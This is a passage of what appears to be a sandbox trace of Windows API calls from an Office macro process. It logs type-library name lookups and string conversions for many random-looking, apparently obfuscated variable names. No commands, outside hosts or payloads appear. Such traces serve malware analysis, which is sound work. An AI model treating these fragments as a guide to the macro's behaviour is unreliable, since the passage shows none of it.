pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.918] IUnknown:Release (This=0x7345930) returned 0x7 [0018.918] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.918] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_bwDDStVhNLB", lHashVal=0x10383c, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.918] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.918] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.918] IUnknown:Release (This=0x7919520) returned 0x10 [0018.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76c54, cbMultiByte=10, lpWideCharStr=0xd0714fe, cchWideChar=22 | out: lpWideCharStr="zkOYSilGfo") returned 10 [0018.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76c6e, cbMultiByte=10, lpWideCharStr=0xd071948, cchWideChar=22 | out: lpWideCharStr="uiZpJUVKFh") returned 10 [0018.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76c82, cbMultiByte=10, lpWideCharStr=0xd071af2, cchWideChar=22 | out: lpWideCharStr="WRXLTpQQJL") returned 10 [0018.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76c96, cbMultiByte=10, lpWideCharStr=0xd071c9c, cchWideChar=22 | out: lpWideCharStr="YbprNcLGZR") returned 10 [0018.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76caa, cbMultiByte=10, lpWideCharStr=0xd071e46, cchWideChar=22 | out: lpWideCharStr="hbIjjcjznL") returned 10 [0018.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76cbe, cbMultiByte=10, lpWideCharStr=0xd071ff0, cchWideChar=22 | out: lpWideCharStr="FZqijhNCEc") returned 10 [0018.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76cd2, cbMultiByte=10, lpWideCharStr=0xd07219a, cchWideChar=22 | out: lpWideCharStr="OUzTPTshbh") returned 10 [0018.920] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76ce6, cbMultiByte=10, lpWideCharStr=0xd072344, cchWideChar=22 | out: lpWideCharStr="JPkozvJqcq") returned 10 [0018.920] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd080000 [0018.921] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ToPZshrrm") returned 0x1056a2 [0018.921] strcpy_s (in: _Dst=0x305060, _DstSize=0xa, _Src="ToPZshrrm" | out: _Dst="ToPZshrrm") returned 0x0 [0018.921] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=10, lpWideCharStr=0x304eb0, cchWideChar=10 | out: lpWideCharStr="ToPZshrrm") returned 10 [0018.921] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.921] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="ToPZshrrm", lHashVal=0x1056a2, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.921] IUnknown:Release (This=0x7919520) returned 0x10 [0018.921] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.921] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="ToPZshrrm", lHashVal=0x1056a2, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.921] IUnknown:Release (This=0x7346470) returned 0xb [0018.921] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.921] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="ToPZshrrm", lHashVal=0x1056a2, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.921] IUnknown:Release (This=0x7345930) returned 0x7 [0018.921] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.921] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="ToPZshrrm", lHashVal=0x1056a2, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.921] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.921] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x79720e0 [0018.921] strcpy_s (in: _Dst=0x305210, _DstSize=0x11, _Src="_B_var_ToPZshrrm" | out: _Dst="_B_var_ToPZshrrm") returned 0x0 [0018.921] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=17, lpWideCharStr=0x305060, cchWideChar=17 | out: lpWideCharStr="_B_var_ToPZshrrm") returned 17 [0018.921] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.921] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_ToPZshrrm", lHashVal=0x105fe7, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.921] IUnknown:Release (This=0x7919520) returned 0x10 [0018.921] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.921] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_ToPZshrrm", lHashVal=0x105fe7, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.921] IUnknown:Release (This=0x7346470) returned 0xb [0018.921] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.921] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_ToPZshrrm", lHashVal=0x105fe7, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.921] IUnknown:Release (This=0x7345930) returned 0x7 [0018.921] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.921] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_ToPZshrrm", lHashVal=0x105fe7, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.921] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.921] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.921] IUnknown:Release (This=0x7919520) returned 0x10 [0018.921] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76d04, cbMultiByte=10, lpWideCharStr=0xd0807cc, cchWideChar=22 | out: lpWideCharStr="bAQrWDwOGI") returned 10 [0018.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76d1e, cbMultiByte=10, lpWideCharStr=0xd080c16, cchWideChar=22 | out: lpWideCharStr="DVCzHBzFmZ") returned 10 [0018.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76d32, cbMultiByte=10, lpWideCharStr=0xd080dc0, cchWideChar=22 | out: lpWideCharStr="RbKfRmtafE") returned 10 [0018.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76d46, cbMultiByte=10, lpWideCharStr=0xd080f6a, cchWideChar=22 | out: lpWideCharStr="lQhvoIRqwE") returned 10 [0018.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76d5a, cbMultiByte=10, lpWideCharStr=0xd081114, cchWideChar=22 | out: lpWideCharStr="vUjVBzcisf") returned 10 [0018.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76d6e, cbMultiByte=10, lpWideCharStr=0xd0812be, cchWideChar=22 | out: lpWideCharStr="DTqPjAqkZk") returned 10 [0018.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76d82, cbMultiByte=10, lpWideCharStr=0xd081468, cchWideChar=22 | out: lpWideCharStr="KWiBWnoGIw") returned 10 [0018.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76d96, cbMultiByte=10, lpWideCharStr=0xd081612, cchWideChar=22 | out: lpWideCharStr="kIIhizupdS") returned 10 [0018.922] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PALbVDJ") returned 0x10b3c4 [0018.923] strcpy_s (in: _Dst=0x305060, _DstSize=0x8, _Src="PALbVDJ" | out: _Dst="PALbVDJ") returned 0x0 [0018.923] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=8, lpWideCharStr=0x304eb0, cchWideChar=8 | out: lpWideCharStr="PALbVDJ") returned 8 [0018.923] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.923] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="PALbVDJ", lHashVal=0x10b3c4, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.923] IUnknown:Release (This=0x7919520) returned 0x10 [0018.923] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.923] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="PALbVDJ", lHashVal=0x10b3c4, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.923] IUnknown:Release (This=0x7346470) returned 0xb [0018.923] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.923] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="PALbVDJ", lHashVal=0x10b3c4, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.923] IUnknown:Release (This=0x7345930) returned 0x7 [0018.923] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.923] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="PALbVDJ", lHashVal=0x10b3c4, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.923] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.923] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf) returned 0x79720e0 [0018.923] strcpy_s (in: _Dst=0x305210, _DstSize=0xf, _Src="_B_var_PALbVDJ" | out: _Dst="_B_var_PALbVDJ") returned 0x0 [0018.923] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=15, lpWideCharStr=0x305060, cchWideChar=15 | out: lpWideCharStr="_B_var_PALbVDJ") returned 15 [0018.923] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.923] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_PALbVDJ", lHashVal=0x10a7c7, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.923] IUnknown:Release (This=0x7919520) returned 0x10 [0018.923] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.923] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_PALbVDJ", lHashVal=0x10a7c7, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.923] IUnknown:Release (This=0x7346470) returned 0xb [0018.923] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.923] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_PALbVDJ", lHashVal=0x10a7c7, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.923] IUnknown:Release (This=0x7345930) returned 0x7 [0018.923] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.923] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_PALbVDJ", lHashVal=0x10a7c7, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.923] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.923] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.923] IUnknown:Release (This=0x7919520) returned 0x10 [0018.923] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76db4, cbMultiByte=10, lpWideCharStr=0xd083a84, cchWideChar=22 | out: lpWideCharStr="COUiZqJrAm") returned 10 [0018.923] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76dce, cbMultiByte=10, lpWideCharStr=0xd083ece, cchWideChar=22 | out: lpWideCharStr="BzcrzuoUlO") returned 10 [0018.923] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd090000 [0018.924] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76de2, cbMultiByte=10, lpWideCharStr=0xd0900a4, cchWideChar=22 | out: lpWideCharStr="ihKnVJjwOR") returned 10 [0018.924] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76df6, cbMultiByte=10, lpWideCharStr=0xd09024e, cchWideChar=22 | out: lpWideCharStr="MrbPFrzCAr") returned 10 [0018.924] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76e0a, cbMultiByte=10, lpWideCharStr=0xd0903f8, cchWideChar=22 | out: lpWideCharStr="IhJwzjantG") returned 10 [0018.925] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76e1e, cbMultiByte=10, lpWideCharStr=0xd0905a2, cchWideChar=22 | out: lpWideCharStr="BGQwLUEjJQ") returned 10 [0018.925] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76e32, cbMultiByte=10, lpWideCharStr=0xd09074c, cchWideChar=22 | out: lpWideCharStr="GKdjaKYMlH") returned 10 [0018.925] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76e46, cbMultiByte=10, lpWideCharStr=0xd0908f6, cchWideChar=22 | out: lpWideCharStr="zlUuGzXLqm") returned 10 [0018.925] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LLShmIHG") returned 0x102822 [0018.925] strcpy_s (in: _Dst=0x305060, _DstSize=0x9, _Src="LLShmIHG" | out: _Dst="LLShmIHG") returned 0x0 [0018.925] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=9, lpWideCharStr=0x304eb0, cchWideChar=9 | out: lpWideCharStr="LLShmIHG") returned 9 [0018.925] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.925] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="LLShmIHG", lHashVal=0x102822, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.925] IUnknown:Release (This=0x7919520) returned 0x10 [0018.925] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.925] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="LLShmIHG", lHashVal=0x102822, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.925] IUnknown:Release (This=0x7346470) returned 0xb [0018.925] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.925] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="LLShmIHG", lHashVal=0x102822, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.925] IUnknown:Release (This=0x7345930) returned 0x7 [0018.925] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.925] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="LLShmIHG", lHashVal=0x102822, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.925] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.925] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x79720e0 [0018.925] strcpy_s (in: _Dst=0x305210, _DstSize=0x10, _Src="_B_var_LLShmIHG" | out: _Dst="_B_var_LLShmIHG") returned 0x0 [0018.925] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=16, lpWideCharStr=0x305060, cchWideChar=16 | out: lpWideCharStr="_B_var_LLShmIHG") returned 16 [0018.925] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.926] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_LLShmIHG", lHashVal=0x10ffea, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.926] IUnknown:Release (This=0x7919520) returned 0x10 [0018.926] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.926] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_LLShmIHG", lHashVal=0x10ffea, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.926] IUnknown:Release (This=0x7346470) returned 0xb [0018.926] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.926] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_LLShmIHG", lHashVal=0x10ffea, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.926] IUnknown:Release (This=0x7345930) returned 0x7 [0018.926] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.926] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_LLShmIHG", lHashVal=0x10ffea, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.926] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.926] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.926] IUnknown:Release (This=0x7919520) returned 0x10 [0018.926] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76e64, cbMultiByte=22, lpWideCharStr=0xd092d68, cchWideChar=46 | out: lpWideCharStr="FLvdTriNzYjPbd IdHNWXf") returned 22 [0018.926] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="vUaJaAHPtq") returned 0x10e85b [0018.926] strcpy_s (in: _Dst=0x305060, _DstSize=0xb, _Src="vUaJaAHPtq" | out: _Dst="vUaJaAHPtq") returned 0x0 [0018.926] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=11, lpWideCharStr=0x304eb0, cchWideChar=11 | out: lpWideCharStr="vUaJaAHPtq") returned 11 [0018.926] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.926] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="vUaJaAHPtq", lHashVal=0x10e85b, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.926] IUnknown:Release (This=0x7919520) returned 0x10 [0018.926] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.926] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="vUaJaAHPtq", lHashVal=0x10e85b, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.926] IUnknown:Release (This=0x7346470) returned 0xb [0018.926] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.926] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="vUaJaAHPtq", lHashVal=0x10e85b, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.926] IUnknown:Release (This=0x7345930) returned 0x7 [0018.926] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.926] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="vUaJaAHPtq", lHashVal=0x10e85b, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.926] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.926] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12) returned 0x79720e0 [0018.926] strcpy_s (in: _Dst=0x305210, _DstSize=0x12, _Src="_B_var_vUaJaAHPtq" | out: _Dst="_B_var_vUaJaAHPtq") returned 0x0 [0018.926] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=18, lpWideCharStr=0x305060, cchWideChar=18 | out: lpWideCharStr="_B_var_vUaJaAHPtq") returned 18 [0018.926] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.926] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_vUaJaAHPtq", lHashVal=0x105686, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.926] IUnknown:Release (This=0x7919520) returned 0x10 [0018.926] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.926] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_vUaJaAHPtq", lHashVal=0x105686, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.926] IUnknown:Release (This=0x7346470) returned 0xb [0018.927] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.927] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_vUaJaAHPtq", lHashVal=0x105686, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.927] IUnknown:Release (This=0x7345930) returned 0x7 [0018.927] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.927] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_vUaJaAHPtq", lHashVal=0x105686, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.927] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.927] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.927] IUnknown:Release (This=0x7919520) returned 0x10 [0018.927] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76e94, cbMultiByte=10, lpWideCharStr=0xd093ab2, cchWideChar=22 | out: lpWideCharStr="JPiABRaSLo") returned 10 [0018.927] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76eae, cbMultiByte=10, lpWideCharStr=0xd093efc, cchWideChar=22 | out: lpWideCharStr="SjRMuYlfwO") returned 10 [0018.927] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd0a0000 [0018.928] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76ec2, cbMultiByte=10, lpWideCharStr=0xd0a00c4, cchWideChar=22 | out: lpWideCharStr="LWVtuuLIkl") returned 10 [0018.928] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76ed6, cbMultiByte=10, lpWideCharStr=0xd0a026e, cchWideChar=22 | out: lpWideCharStr="GAHGavoizF") returned 10 [0018.928] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76eea, cbMultiByte=10, lpWideCharStr=0xd0a0418, cchWideChar=22 | out: lpWideCharStr="NVuTjErwnF") returned 10 [0018.928] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76efe, cbMultiByte=10, lpWideCharStr=0xd0a05c2, cchWideChar=22 | out: lpWideCharStr="MPrPGntoFH") returned 10 [0018.928] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76f12, cbMultiByte=10, lpWideCharStr=0xd0a076c, cchWideChar=22 | out: lpWideCharStr="GShaiRZKlz") returned 10 [0018.928] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76f26, cbMultiByte=10, lpWideCharStr=0xd0a0916, cchWideChar=22 | out: lpWideCharStr="jCfsBpbBMq") returned 10 [0018.929] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MJkNXb") returned 0x108977 [0018.929] strcpy_s (in: _Dst=0x305060, _DstSize=0x7, _Src="MJkNXb" | out: _Dst="MJkNXb") returned 0x0 [0018.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=7, lpWideCharStr=0x304eb0, cchWideChar=7 | out: lpWideCharStr="MJkNXb") returned 7 [0018.929] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.929] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="MJkNXb", lHashVal=0x108977, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.929] IUnknown:Release (This=0x7919520) returned 0x10 [0018.929] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.929] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="MJkNXb", lHashVal=0x108977, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.929] IUnknown:Release (This=0x7346470) returned 0xb [0018.929] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.929] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="MJkNXb", lHashVal=0x108977, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.929] IUnknown:Release (This=0x7345930) returned 0x7 [0018.929] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.929] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="MJkNXb", lHashVal=0x108977, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.929] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.929] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xe) returned 0x79720e0 [0018.929] strcpy_s (in: _Dst=0x305210, _DstSize=0xe, _Src="_B_var_MJkNXb" | out: _Dst="_B_var_MJkNXb") returned 0x0 [0018.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=14, lpWideCharStr=0x305060, cchWideChar=14 | out: lpWideCharStr="_B_var_MJkNXb") returned 14 [0018.929] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.929] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_MJkNXb", lHashVal=0x1003e1, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.929] IUnknown:Release (This=0x7919520) returned 0x10 [0018.929] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.929] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_MJkNXb", lHashVal=0x1003e1, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.929] IUnknown:Release (This=0x7346470) returned 0xb [0018.929] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.929] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_MJkNXb", lHashVal=0x1003e1, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.929] IUnknown:Release (This=0x7345930) returned 0x7 [0018.929] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.929] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_MJkNXb", lHashVal=0x1003e1, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.929] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.929] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.929] IUnknown:Release (This=0x7919520) returned 0x10 [0018.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76f44, cbMultiByte=10, lpWideCharStr=0xd0a2d88, cchWideChar=22 | out: lpWideCharStr="iwFHPFbdEl") returned 10 [0018.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76f5e, cbMultiByte=10, lpWideCharStr=0xd0a31d2, cchWideChar=22 | out: lpWideCharStr="mQtjkwDaYn") returned 10 [0018.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76f72, cbMultiByte=10, lpWideCharStr=0xd0a337c, cchWideChar=22 | out: lpWideCharStr="LNBlJPmVsO") returned 10 [0018.930] MultiByteToWideChar (in: CodePage=0x0, 